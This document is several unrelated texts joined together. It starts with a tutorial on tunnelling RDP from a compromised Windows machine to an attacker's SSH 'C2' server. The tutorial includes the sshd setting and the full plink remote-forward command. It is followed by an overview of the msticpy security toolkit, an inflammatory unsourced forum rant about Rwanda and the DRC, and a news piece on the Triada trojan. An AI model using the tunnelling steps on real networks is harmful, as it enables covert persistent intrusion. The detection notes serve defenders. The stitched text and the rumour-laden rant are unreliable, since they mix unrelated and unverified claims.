How to access RDP over SSH tunnel

Remote Desktop Protocol (RDP) helps to get a nice graphical connection to a remote computer. But it also help attackers, that compromised such computer, to get a connection to this remote computer. Usually, companies protect such non-exposed systems by firewall and NAT rules from inbound RDP attempts. But attackers know about it and found other ways to bypass it such as network tunneling and host-based port forwarding.

In this blog post I will show how to do RDP over SSH tunnel with plink, but first, lets just understand what it means to create a tunnel.

Network tunneling and port forwarding

Tunneling, also known as “port forwarding”, is the transmission of data for use only within private network through the public network. It allows us to transmit data from one network to another. It uses the process of encapsulation through which the private network communications are sent to the public networks.

It reminds VPN because VPN is based on the idea of tunneling but they are different from each other.

General overview for such attack

Let’s say our attacker succeeded to get a foothold on one computer (victim’s computer) of the internal network. The attacker will enable RDP on the machine, dump user’s credentials or create a new user and add it to a group with permissions for RDP connection.

The attacker has an external SSH server (Linux machine) and it creates a remote port forwarding for a generic port (“12345”) on the Linux machine from the victim’s computer on 127.0.0.1:3389.

Once the connection has been established, the attacker connects from anywhere with RDP to the Linux machine over port “12345” and it will be forwarded to127.0.0.1:3389 on the victim’s machine.

Now that we understand the general picture, let’s start the work.

We will need Linux machine that will be the C2 server, Windows 10 machine as the victim’s computer and other Windows system to connect with RDP to the Linux machine.

*If this is too much for you, the Linux machine can be replaced by SSH applications for Windows like FreeSSHD or BitVise but I found that Linux machine works smoothly.

Stage 1: Setting up Linux server for SSH

Run systemctl status ssh and make sure the SSH server is running:

SSH service is running

If it doesn’t, enable it like that (taken from here):

sudo apt update
sudo apt install openssh-server

One of our goals is to open generic listening port (“12345”) on the Linux machine for any connection. This will allow us to connect from anywhere.

In order to be able to do it, we need to make another small change.

Edit the file /etc/ssh/sshd_config and add the following line:

GatewayPorts=clientspecified

This line allow remote hosts to connect to ports forwarded for the client.

Our Linux server is ready with SSH enabled.

Stage 2: Enable RDP on the remote computer

There are many ways to enable RDP, I will show the straight forward way with GUI but don’t expect an attacker to do so :).

Open system properties by opening the run window (winkey + “R”), typesysdm.cpl, press Enter and go to theRemote tab. Or if you want to get it faster just typeSystemPropertiesRemote from the run window and press Enter.

Make sure the Allow remote connection to this computer is marked:

Go to “Select Users…” and add any user you want. This will provide it with remote desktop permissions.

In our case, we added a local user named “remote1”:

We have RDP enabled, there is another optional thing that we can do and it will enable multi sessions RDP connections. This will allow us to connect with RDP to the remote computer without interfering the current connected user.

In our case we used rdpwrap which is an open source library that allows it. We download it:

After we run the installation, we run the RDPConf to make sure that it is running:

If you are doing it on lab, make sure that you are able to connect to the computer with RDP before starting the tunnel.

Stage 3: Creating the tunnel

A common utility used to tunnel RDP sessions is PuTTY link, known as Plink. It can be used to establish secure shell (SSH) network connections to other systems using arbitrary source and destination ports. With this tool we will be able to create encrypted tunnels that allow RDP ports to communicate back to the Linux machine, the attacker command and control (C2) server.

Example for using it:

plink.exe <user>@<ip or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 0.0.0.0:12345:127.0.0.1:3389

• -P - connect to a specific port (“22”, SSH in our case)
• -2 - force use of protocol version 2
• -4 - force use of IPv4
• -T - disable pty allocation
• -N - don’t start a shell/command (SSH-2 only)
• -C - enable compression
• -R - forward remote port to local address. In our case, we will connect to port 12345 and will be forward to 3389

Important:

• The user is the user for the SSH connection, not for the RDP !
• The IP is for the SSH server (Linux machine)

Notice that in our case we are doingremote port forwarding, there are two more kind of port forwarding: local and dynamic but I won’t talk about the different in this post.

On the victim’s system it will be like that:

We are using the user “newton” and its password to connect to SSH on the Linux machine.

To check that the port is open, we will go our Linux machine and run

netstat -ano | grep LIST

We can see that the port “12345” is open from anywhere (“0.0.0.0”):

Stage 4: Connecting to the tunnel

Everything is ready, we will take any Windows computer and connect with RDP to the Linux machine IP and the port “12345”:

The connection will be received by the Linux SSH server and redirect our connection to 127.0.0.1:3389 on the victim’s computer.

Analysis

If we will sniff the network on the victim’s computer, we will see an encrypted SSH communication and no clue for RDP:

On the victim’s computer we will see by the event viewer, event 4624 with logon type 10 that specify that a remote desktop connection occurred on the computer from 127.0.0.1:

This is good for cyber crime investigation

msticpy is a package of python tools intended to be used for security investigations and hunting (primarily in Jupyter notebooks). Most of the tools originated from code written in Jupyter notebooks which was tidied up and re-packaged into python modules. I’ve added some references to other blogs in theReferences section, where I describe some of these notebooks in more detail.

The goals of the package are twofold:

1. Reduce the clutter of code in notebooks making them easier to use and read.
2. Provide building-blocks for future notebooks to make authoring them simpler and quicker.

There are some side benefits from this:

• The functions and classes are easier to test when extracted into standalone modules, so (hopefully) they are more robust.
• The code is easier to document, and the functionality is more discoverable than having to wade through old notebooks and copy and paste the desired functions.

While much of the functionality is only useful in Jupyter notebooks (e.g. much of thenbtools sub-package), there are several modules that are usable in any python application - most of the modules in thesectools sub-package fall into this category.

msticpy is organized into three main sub-packages:

• sectools - python security tools to help with data analysis or investigation. These are all focused on data transformation, data analysis or data enrichment.
• nbtools - Jupyter-specific UI tools such as widgets and data display. These are mostly presentation-layer tools concentrating on how to view or interact with the data.
• data - data interfaces and query library for log and alert APIs including Azure Sentinel/Log Analytics, Microsoft Graph Security API and Microsoft Defender Advanced Threat Protection (MDATP).

The package is still in an early preview mode so there are likely to be bugs, possible API changes and much is not yet optimized for performance. We welcome feedback, bug reports and suggestions for new or improved features as well as contributions directly to the package.

In this article I'll give a brief overview of the main components. This is intended as an overview of some of the features rather than a full user guide. Although the modules/functions/classes are documented at the API level, we are still missing more detailed user guidance. In future blogs I will drill down into some of the specific components to describe their use (and limitations) in more detail, which will help fill some of this gap. Some of the modules have user document notebooks, which are listed in the References section at the end of the document. The API documentation is available on mstipy ReadTheDocs.

Request for Comments

We would really appreciate suggestions for future or better features. You can add these in comments to this doc or directly as issues on the msticpy GitHub.

Installing

The package requires Python 3.6 or later (seeSupported Platforms for more details).

pip install msticpy

or for the latest dev build (although usually we publish direct to PyPi)

pip install git+https://github.com/microsoft/msticpy

A conda recipe and package is in the works but not yet available.

Installing the package will also install dependencies if required versions of these are not already installed. If you are installing into an environment where you are using some of these dependencies (especially if you are using conflicting versions), you should to create a python or conda virtual environment and use your notebooks from within that.

Security Tools Sub-package - sectools

This sub-package contains several modules helpful for working on security investigations and hunting. These are mostly data processing modules and classes and usually not restricted to use in a Jupyter/IPython environment (some of the modules have a visualization component that may not work outside a notebook environment).

base64unpack

This is a Base64 and archive (gz, zip, tar) extractor intended to help decode obfuscated attack command lines and http request strings. Input can either be a single string or a specified column of a pandas dataframe. The module will try to identify any base64 encoded strings and decode them. If the result of a decoding looks like one of the supported archive types, it will try to unpack the contents. The results of each decode/unpack are rechecked for further base64 content and it will recurse down up to 20 levels (the default can be overridden, but if you need more than 20 levels, there is probably something wrong!). Output is to a decoded string (for single string input) or a DataFrame (for dataframe input).

iocextract

This uses a set of built-in regular expressions to look for Indicator of Compromise (IoC) patterns. Input can be a single string or a pandas dataframe with one or more columns specified as input. You can add additional patterns and override built-in patterns.

The following types are built-in: IPv4 and IPv6, URLs, DNS domains, Hashes (MD5, SHA1, SHA256), Windows file paths and Linux file paths (this latter regex is kind of noisy because a legal linux file path can have almost any character). The two path regexes are not run by default.

Output is a dictionary of matches (for single string input) or a DataFrame (for dataframe input).

vtlookup

Wrapper class around Virus Total API. Input can be a single IoC observable or a pandas DataFrame containing multiple observables. Processing requires a Virus Total account and API key and processing performance is limited to the number of requests per minute for the account type that you have. For example a VirusTotal free account is limited to 4 requests per minute. Supported IoC types are: Filehash (MD5, SHA1, SHA256), URL, DNS Domain, IPv4 Address.

geoip

Geographic location lookup for IP addresses is implemented as generic class with support for different data providers. The shipped module has two data providers:

• GeoLiteLookup - Maxmind Geolite (seehttps://www.maxmind.com)
• IPStackLookup - IPStack (seehttps://ipstack.com)

Both services offer a free tier for non-commercial use. However, a paid tier will normally get you more accuracy, more detail and a higher throughput rate. Maxmind geolite uses a downloadable database, while IPStack is an online lookup (an account and API key are required).

The following screen shot shows both the use of the GeoIP lookup classes and map display with another msticpy module using folium (a python package using leaflet.js)

eventcluster

This module is intended to be used to summarize large numbers of events into clusters of different patterns. High volume repeating events can often make it difficult to see unique and interesting items.

The module contains functions to generate clusterable features from string data. For example, an administration command that does some maintenance on thousands of servers with a commandline such as:

install-update -hostname {host.fqdn} -tmp:/tmp/{some_GUID}/rollback

These repetitions can be collapsed into a single cluster pattern by ignoring the character values in the string and using delimiters or tokens to group the values.

This module uses an unsupervised learning module implemented using SciKit Learn DBScan.

outliers

Similar to the eventcluster module but a little bit more experimental (read 'less tested'). It uses SciKit Learn Isolation Forest to identify outlier events in a single data set or using one data set as training data and another on which to predict outliers.

auditdextract

Module to load and decode Linux audit logs. It collapses messages sharing the same message ID into single events, decodes hex-encoded data fields and performs some event-specific formatting and normalization (e.g. for process start events it will re-assemble the process command line arguments into a single string).

The following figures shows examples of raw audit messages and converted messages (these are two different event sets, so don’t show the same messages).

Notebook tools sub-package - nbtools

This is a collection of display and utility modules designed to make working with security data in Jupyter notebooks quicker and easier.

• nbwidgets - groups common functionality such as list pickers, time boundary settings, saving and retrieving environment variables into a single line callable command. In most cases these are simple wrappers and collections of the standard IPyWidgets.
• nbdisplay - functions that implement common display of things like alerts, events in a slightly prettier and more consumable way than print().

 

nbwidgets

Query time selector

Session browser

Alert browser

nbdisplay

Event timeline

Logon display

Process Tree

Data sub-package - data

Some of these components are currently part of the nbtools sub-package but will be migrated to the data sub-package.

Parameterized query manager

This is a collection of modules that includes a set of commonly used queries and can be supplemented by user-defined queries supplied in yaml files. The purpose of these is to give you quick access to commonly used-queries in a way that allows easy substitution of parameter values such as date range, host name, account name, etc. The package current supports Kusto query language (KQL) queries targeted at Log Analytics and OData queries targeted at Microsoft Graph Security API. We are building driver modules to work with Microsoft Defender Advanced Threat Protection API and, in principle could be extended to cover queries expresses as a simple string expression. The architecture and yaml format was inspired by the Intake package – although some of the parameter substitution gymnastics meant that I was not able to use this package directly.

Sample query definition

Query provider setup

Running a query

Note: the parameters for the query are auto-extracted from the query_times date widget object.

Other Modules

security_alert and security_event

These are encapsulation classes for alerts and events. Each has a standard 'entities' property reflecting the entities found in the alert or event. These can also be used as meta-parameters for many of the queries. For example, the query:

qry.list_host_logons(query_times, alert)

will extract the value for the hostname query parameter from the alert.

entityschema

This module implements entity classes (e.g. Host, Account, IPAddress, etc.) used in Log Analytics alerts and in many of these modules. Each entity encapsulates one or more properties related to the entity. This example shows a Linux alert with the related entities.

To-Do Items

Some of the items on our to-do list are shown below. However, other things requested by popular demand or contributed by others can certainly change this.

• Create generic Threat Intel lookup interface supporting multiple providers.
• Add additional modules for host-to-ip and ip-to-host resolution.
• Add syslog queries, processing and visualizations.
• Add network queries, processing and visualizations.
• Add additional notebooks to document use of the tools.

Supported Platforms and Packages

• msticpy is OS-independent
• Requires Python 3.6 or later
• Requires the following python packages: pandas, bokeh, matplotlib, seaborn, setuptools, urllib3, ipywidgets, numpy, attrs, requests, networkx, ipython, scikit_learn, typing
• The following packages are recommended and needed for some specific functionality: Kqlmagic, maxminddb_geolite2, folium, dnspython, ipwhois

Contributing to msticpy

msticpy is intentionally an open source package so that it is available to be used as-is or in modified form by anyone who wants to. We also welcome contributions – whether these are whole features, extensions of existing features, bug-fixes or additional documentation.

I’m a little finicky about code hygiene so I would (politely) ask the following for potential contributors:

• Include doc comments in all modules, classes, public functions and public methods. Please use numpy docstring standard for consistency and to allow our auto-documentation to work well.
• We are converting to Black code formatting throughout the project. This will happen whether you format your code like this or not. 😊
• Type annotations are a great thing. History and I will thank you for adding type annotations. See this section of the docs for more information.
• We write unit tests using Pythonunitest format but run these withpytest. Please add unit tests for any substantial PRs – and please make sure that the existing unit tests complete successfully.
• Linters and other stuff. Committed branches will kick of tests and linting in the Azure build pipeline. Many of these are none-breaking (i.e. your build will complete with warnings) but please try to avoid introducing any new warnings (I’m having a hard-enough time fixing my own warnings!). Using pylint,prospector, mypy and pydocstyle is a good minimum combination.

Is DRC safe?

DRC may be trying to boil up itself again in its attempt to hug the serpent of Rwanda.The whole of the eastern part of this country is slowly being eaten up by this serpent's agents and the bandits he supports. I think you all know what is taking place within the Banyamulenge. There has been regular and free entry of foreign soldiers and according to sources alot of such soldiers were seen last evening, and another source said that they come, then spend two days in Goma and then disappear and that what worries them much is that they do not know where they disappear to! Another source, who is alleging that these soldiers are meant to be a standby force  in the societies that have relatives  from serpent's country such that if they are to be attacked by enemies  then alert the serpent's country to send full reinforcements !  DRC is totally in shit for most of its key point in all armies deployed in eastern DRC are Rwandese agents, it's no surprise that along all boarders of the greater KIVU, town of Goma, bunagana, bukavu, uvira, rutshuru, etc are and have all been taken over by Rwandese agents and spies. DRC which always the sick man of Africa may again be plunged into a full-scale war.There is and must be some master plan by the regional serpent of Rwanda to create another turmoil in quest to buy time, coverup and legitimize his gross Human Rights violations and atrocities of refugees, and his citzens.Every one should pray for banyamulenge for there is an ongoing master plan to plunge them into war, as a way of using their land to attack Burundi. It is of almost absurdity to see soldiers from a foreign country freely enter another country to just execute a plan to terrorize another country.The area of Manyema, ituri, katanga are slowly and steadily being infiltrated by the serpent's terrorists.The whole region must wake up other wise another crisis my erupt in the DRC and mainly masterminded by the worst serpent in the region

Triada Banking Trojan came Preinstalled as Backdoor in Budget Android Smartphones- Google Confirms.
It would probably be the first time ever in Google’s history that the company has revealed details of the tenacity and success of malware dubbed as Triada. Triada malware was discovered in 2017 and came pre-installed on Android devices . It was believed back then that the malware was added to the devices at any stage of the supply chain process.
Now, Google has revealed that cybercriminals indeed managed to compromise Android smartphones and installed a backdoor while the supply chain process of the phones was underway. Triada is known for downloading additional Trojan components on an infected device which then steals sensitive data from banking apps, intercepts chats from messengers and social media platforms and there are also cyber-espionage modules on the device.
It is worth noting that Google remained silent at this issue until now but this week the firm’s Android Security and Privacy team member Lukasz Siewierski posted an in-depth analysis of the Triada banking Trojan on Google’s security blog. In the blog post , Siewierski confirmed that the malware did exist in new Android devices .
In 2016, Kaspersky Lab researchers identified what was probably the most advanced of all mobile banking Trojans at the time. The Trojan was dubbed Triada; it was discovered in the RAM (random access memory) of the smartphones and used root privileges for substituting system files with infected ones. The malware kept evolving until 2017 when Dr. Web researchers identified that it didn’t need to root the smartphone for gaining elevated privileges and was equipped with more advanced attacking methods.
Some of the devices identified by Dr. Web in 2018 were:
Leagoo M5
Leagoo M5 Plus
Leagoo M5 Edge
Leagoo M8
Leagoo M8 Pro
Leagoo Z5C
Leagoo T1 Plus
Leagoo Z3C
Leagoo Z1C
Leagoo M9
ARK Benefit M8
Zopo Speed 7 Plus
UHANS A101
Doogee X5 Max
Doogee X5 Max Pro
Doogee Shoot 1
Doogee Shoot 2
Tecno W2
Homtom HT16
Umi London
Kiano Elegance 5.1
iLife Fivo Lite
Mito A39
Vertex Impress InTouch 4G
Vertex Impress Genius
myPhone Hammer Energy
Advan S5E NXT
Advan S4Z
Advan i5E
STF AERIAL PLUS
STF JOY PRO
Tesla SP6.2
Cubot Rainbow
EXTREME 7
Haier T51
Cherry Mobile Flare S5
Cherry Mobile Flare J2S
Cherry Mobile Flare P1
NOA H6
Pelitt T1 PLUS
Prestigio Grace M5 LTE
BQ 5510
The malware exploited the Android framework log function call to attack, which basically means that it installed backdoor in the infected devices so that whenever an app tried to log something the backdoor code got executed . The code would get executed in almost every app since it came factory-fitted in new smartphones. Later on, Google did add new security features to prevent threats like Triada.
However, malware developers changed their strategy and performed a supply chain attack in the summer of 2017 to get it preinstalled on low-key, budget Android smartphones mainly from Chinese manufacturers Nomu and Leagoo. Researchers couldn’t determine how the supply chain attack occurred but this attack ensured that the malware was able to access legitimate apps and download malicious codes to perform click fraud or infect SMS messages with new scams.
Siewierski explained the working of the backdoor in the blog post that read:
The malware primarily targeted Android version 4.4.2 and older since the new versions blocked that process through which the malware obtained root access and the code injected was blocked by Google even when the malware was installed as a backdoor. Siewierski explained how Google tried to thwart the threat at all occasions using the advanced automated system called
“Build Test Suite” and other strategies. In the blog post, Siewierski wrote:
“By working with the OEMs and supplying them with instructions for removing the threat from devices, we reduced the spread of preinstalled Triada variants and removed infections from the devices through the OTA updates. The Triada case is a good example of how Android malware authors are becoming more adept. This case also shows that it’s harder to infect Android devices, especially if the malware author requires privilege elevation.”
Have you seen what i have always said about google.com